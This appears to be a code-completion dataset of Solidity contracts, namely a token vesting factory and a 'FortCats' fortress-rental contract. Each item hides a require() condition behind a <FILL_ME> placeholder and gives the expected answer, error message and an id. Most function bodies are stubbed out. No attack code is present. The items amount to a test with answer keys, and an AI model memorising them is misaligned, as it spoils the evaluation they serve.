beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { require(<FILL_ME>) emit RemoveAsset(_asset); } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_supportedAssets.remove(_asset),"VestingFactory: No asset in the list"
193,359
_supportedAssets.remove(_asset)
"VestingFactory: no vesting contracts"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ require(<FILL_ME>) uint256 all; for (uint256 i = 0; i < accountVestings[account].vestings.length; i++) { all += IVesting(accountVestings[account].vestings[i]).claimableAmount(); } return all; } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
accountVestings[account].vestings.length!=0,"VestingFactory: no vesting contracts"
193,359
accountVestings[account].vestings.length!=0
"Fort is not clear"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface Realms { function ownerOf(uint256 tokenId) external returns (address); } interface MoonCats { function ownerOf(uint256 tokenId) external returns (address); } interface MistCoin { function balanceOf(address account) external returns (uint256); function allowance(address owner, address spender) external returns (uint256); function transferFrom(address from, address to, uint256 amount) external returns (bool); } contract FortCats { event FortOffered(uint256 indexed fortID, uint256 indexed price); event FortRented(uint256 indexed catID, uint256 indexed fortID); event FortCleared(uint256 indexed fortID); Realms realms = Realms(0x8479277AaCFF4663Aa4241085a7E27934A0b0840); MoonCats moonCats = MoonCats(0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69); MistCoin mistCoin = MistCoin(0x7Fd4d7737597E7b4ee22AcbF8D94362343ae0a79); uint256 constant DURATION = 220000; struct Fort { uint256 price; uint256 renter; uint256 checkout; } mapping (uint256 => Fort) public forts; mapping (uint256 => uint256) public fortRented; constructor() {} function isFortClear(uint256 fortID) public view returns (bool) { } function offerFort(uint256 fortID, uint256 price) external { require (msg.sender == realms.ownerOf(fortID), "You do not own this fortress"); require (price > 0, "You cannot offer the fortress for free"); require(<FILL_ME>) forts[fortID].price = price; emit FortOffered(fortID, price); } function rentFort(uint256 catID, uint256 fortID) external { } function clearFort(uint256 fortID) external { } }
isFortClear(fortID),"Fort is not clear"
193,445
isFortClear(fortID)